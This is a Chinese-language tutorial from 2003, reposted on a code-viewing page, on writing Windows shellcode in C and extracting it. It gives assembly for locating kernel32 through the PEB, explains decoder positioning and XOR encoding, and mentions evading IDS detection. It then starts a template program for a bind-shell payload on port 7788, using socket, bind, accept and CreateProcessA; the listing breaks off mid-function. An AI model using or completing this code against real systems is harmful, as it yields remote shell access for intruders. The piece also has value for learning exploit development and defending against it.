?? 關于windows下shellcode編寫的一點思考.txt
字號:
關于Windows下ShellCode編寫的一點思考
--------------------------------------------------------------------------------
By Hume/冷雨 時間:2003-12-6 8:22:02
關于ShellCode編寫的文章可謂多如牛毛。經典的有yuange、watercloud等前輩的文
章,但大都過于專業和簡練,對我這樣的初學者學習起來還是有不小的難度。因此把自己
的一點想法記錄下來,以慰同菜。
我不是工具論者,但合適的工具無疑會提高工作效率,而如何選取合適的工具和編寫
ShellCode的目的及ShellCode的運行環境是直接相關的。ShellCode一般是通過溢出等
方式獲取執行權的,并且要在執行時調用目標系統的API進行一些工作,因此就要求
ShellCode采用一種較為通用的方法獲取目標系統的API函數地址,其次由于其運行地址
難以確定,因此對數據的尋址要采用動態的方法。另外,ShellCode一般是作為數據發送
給受攻擊程序的,而受攻擊程序一般會對數據進行過濾,這對ShellCode提出了編碼的要
求,現在ShellCode用的編碼方法比較簡單,基本是XOR大法或其變形。
編寫ShellCode有目前流行的有兩種方法:用C語言編寫+提取;用匯編語言編寫和提取。
就個人感覺而言,用匯編語言編寫和提取是最方便的,因為ShellCode代碼一般比較短,要
完成的任務也相對單一,一般不涉及復雜的運算。因此可以用匯編語言編寫。而且用匯編
編寫便于數據的控制、代碼定位及生成的控制,在某些匯編編譯器中,提供了直接生成二進制
代碼功能并提供了直接包含二進制文件的偽指令,這樣就可以直接編寫一個makefile文件將
ShellCode代碼和攻擊程序分開,分別編寫和調試,而無需print、拷貝、粘貼等操作,只需
在攻擊程序中加入一段編碼代碼就可以了。這樣也便于交流。
但現在網絡上流行的都是C編寫的ShellCode,不過最終要生成的是ShellCode代碼,這就涉
及到提取C生成的匯編代碼的問題。但在C中由于編譯器會在函數的開始和結束生成一些附加
代碼,而這些代碼未必是我們需要的,還有一個問題就是要提取代碼的結束在C中沒有直接的
操作符獲取。這些實際上也都不是很難,只要在函數的開始和結束加入特征字符串用C庫函數
memcmp搜索即可定位。對ShellCode的編碼可寫一段程序進行,比如XOR法的。最后寫一段
函數將編碼后的ShellCode打印出來,復制、粘貼就可以用在攻擊程序里面了。
用C編寫的中心思想就是我們用C語言寫代碼,讓編譯器為我們生成二進制代碼,然后在運行時
編碼、打印,這樣工作就完成了。
在網上找到了一個用C編寫ShellCode的例子,于是親自調試了一遍,發現了一些問題后修改
并加入一些自己的代碼,測試通過。
其中的一些問題有:
1.KERNEL基地址的定位和API函數地址的獲取
原來的代碼中采用的是暴力搜索地址空間的方法。這不算最佳方法,因為一是代碼比較多,
二是要處理搜索無效頁面引發的異常。現在還有兩種方法可用:
一種是從PEB相關數據結構中獲取,請參考綠盟月刊44期SCZ的《通過TEB/PEB枚舉當前進程
空間中用戶模塊列表》一文。代碼如下:
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了
這種方法比較通用,適用于2K/XP/2003。
另外一種方法就是搜索進程的SEH鏈表獲取Kernel32.UnhandledExceptionFilter的地址,
再由該地址對齊追溯獲得Kernel的基地址,這種方法也是比較通用的,適用于9X/2K/XP/2003。
在下面的代碼中我就采用了這種方法。
2.幾段代碼的作用
在ShellCode提取代碼中你或許會經常見到
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
這樣的代碼,其用途何在?答案在于在用Visual Studio生成調試版本的時候,用函數指針
操作獲得的地址并不是指向真正的函數入口點,而是指向跳轉指令JMP:
jmp function
上面那段代碼就是處理這種情況的,如果不是為了調試方便,完全可以刪去。
還有在代碼中會看到:
jmp decode_end
decode_start:
pop edx
.......
decode_end:
call decode_start
Shell_start:
之類的代碼其作用是定位Shell_start處的代碼,便于裝配,由于在C中沒有方便的手段定位
代碼的長度和位置,因此采用此變通的做法。在這種方法不符合編碼的要求時,可以采用動態計算
和寫入的方法。不過復雜了一點罷了。
3.關于局部變量的地址順序
在原程序中采用了如下局部變量結構:
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
以為這樣編譯器生成的變量地址順序就是這樣的,在有些機器上也許如此,不過在我的
機器上則不然,比如下面的測試程序:
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>
void shell();
void __cdecl main(int argc,char *argv[])
{
FARPROC arg1;
FARPROC arg2;
FARPROC arg3;
FARPROC arg4;
FARPROC arg5;
int par1;
int par2;
int par3;
int par4;
char ch;
printf("Size of FARPROC %d\n",sizeof(FARPROC));
printf("\n%X\n%X\n%X\n%X\n%X\n\n \t%X\n%X\n%X\n%X\n \t%X\n",
&arg1,
&arg2,
&arg3,
&arg4,
&arg5,
&par1,
&par2,
&par3,
&par4,
&ch
);
}
在我機器上產生的輸出是:
12FF7C
12FF78
12FF74
12FF70
12FF68
12FF6C
12FF64
12FF60
12FF5C
12FF58
這證實了局部變量的實際地址并不是完全按我們自己定義排列的。因此原來ShellCode中采用的
直接使用函數名的方法就可靠了。因此我采用了其它的方法,C提供的Enum關鍵字使得這項
工作變得容易,詳見下面的代碼。
4.more
關于變形ShellCode躲避IDS檢測,以及編碼方法等需進一步研究。
5.代碼
可見,用C編寫ShellCode需要對代碼生成及C編譯器行為有更多了解。有些地方處理起來也
不是很省力。不過一旦模板寫成,以后寫起來或寫復雜ShellCode就省力多了。
增加API時只要在相應的.dll后增加函數名稱項(如果str中還沒有相應的dll,增加之)并
同步更新Enum的索引即可。調用API時直接使用:
API[_APINAME](param,....param);
即可。
如果沒注釋掉有#define DEBUG 1的話,下面代碼編譯后運行即可對ShellCode進行調試,
下面代碼將彈出一個對話框,點擊確定即可結束程序。that's ALL。
-------------------------------------------
/*
使用C語言編寫通用shellcode的程序
出處:internet
修改:Hume/冷雨飄心
測試:Win2K SP4 Local
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
#define DEBUG 1
//
//函數原型
//
void DecryptSc();
void ShellCodes();
void PrintSc(char *lpBuff, int buffsize);
//
//用到的部分定義
//
#define BEGINSTRLEN 0x08 //開始字符串長度
#define ENDSTRLEN 0x08 //結束標記字符的長度
#define nop_CODE 0x90 //填充字符
#define nop_LEN 0x0 //ShellCode起始的填充長度
#define BUFFSIZE 0x20000 //輸出緩沖區大小
#define sc_PORT 7788 //綁定端口號 0x1e6c
#define sc_BUFFSIZE 0x2000 //ShellCode緩沖區大小
#define Enc_key 0x7A //編碼密鑰
#define MAX_Enc_Len 0x400 //加密代碼的最大長度 1024足夠?
#define MAX_Sc_Len 0x2000 //hellCode的最大長度 8192足夠?
#define MAX_api_strlen 0x400 //APIstr字符串的長度
#define API_endstr "strend"//API結尾標記字符串
#define API_endstrlen 0x06 //標記字符串長度
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{ //Kernel32
_CreatePipe,
_CreateProcessA,
_CloseHandle,
_PeekNamedPipe,
_ReadFile,
_WriteFile,
_ExitProcess,
//WS2_32
_socket,
_bind,
_listen,
_accept,
_send,
_recv,
_ioctlsocket,
_closesocket,
//本機測試User32
_MessageBeep,
_MessageBoxA,
API_num
};
//
//代碼這里開始
//
int __cdecl main(int argc, char **argv)
{
//shellcode中要用到的字符串
static char ApiStr[]="\x1e\x6c" //端口地址
//Kernel32的API函數名稱
"CreatePipe""\x0"
"CreateProcessA""\x0"
"CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0"
"WriteFile""\x0"
"ExitProcess""\x0"
//其它API中用到的API
"wsock32.dll""\x0"
"socket""\x0"
"bind""\x0"
"listen""\x0"
"accept""\x0"
"send""\x0"
"recv""\x0"
"ioctlsocket""\x0"
"closesocket""\x0"
//本機測試
"user32.dll""\x0"
"MessageBeep""\x0"
"MessageBoxA""\x0"
"\x0\x0\x0\x0\x0"
"strend";
char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //標記開始的字符串
char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //標記結束的字符串
char buff[BUFFSIZE]; //緩沖區
char sc_buff[sc_BUFFSIZE]; //ShellCodes緩沖
char *pDcrypt_addr,
*pSc_addr;
int buff_len; //緩沖長度
int EncCode_len; //加密編碼代碼長度
int Sc_len; //原始ShellCode的長度
int i,k;
unsigned char ch;
//
//獲得DecryptSc()地址,解碼函數的地址,然后搜索MAX_Enc_Len字節,查找標記開始的字符串
//獲得真正的解碼匯編代碼的開始地址,MAX_Enc_Len定義為1024字節一般這已經足夠了,然后將這
//部分代碼拷貝入待輸出ShellCode的緩沖區準備進一步處理
//
pDcrypt_addr=(char *)DecryptSc;
//定位其實際地址,因為在用Visual Studio生成調試版本調試的情況下,編譯器會生成跳轉表,
//從跳轉表中要計算得出函數實際所在的地址,這只是為了方便用VC調試
ch=*pDcrypt_addr;
if (ch==0xe9)
{
pDcrypt_addr++;
i=*(int *)pDcrypt_addr;
pDcrypt_addr+=(i+4); //此時指向函數的實際地址
}
//找到解碼代碼的開始部分
for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8); //如找到定位實際代碼的開始
else
{
//顯示錯誤信息
k=0;
printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
return 0;
}
for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;
if (k<MAX_Enc_Len) EncCode_len=k;
else
{
k=0;
printf("\nNo End str defined in Decrypt function!Please Check....\n");
return 0;
}
memset(buff,nop_CODE,BUFFSIZE); //緩沖區填充
memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len); //把DecryptSc代碼復制進buff
//
//處理ShellCode代碼,如果需要定位到代碼的開始
//
pSc_addr=(char *)ShellCodes; //shellcode的地址
//調試狀態下的函數地址處理,便于調試
ch=*pSc_addr;
if (ch==0xe9)
{
pSc_addr++;
i=*(int *)pSc_addr;
pSc_addr+=(i+4); //此時指向函數的實際地址
}
//如果需要定位到實際ShellCodes()的開始,這個版本中是不需要的
/*
for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -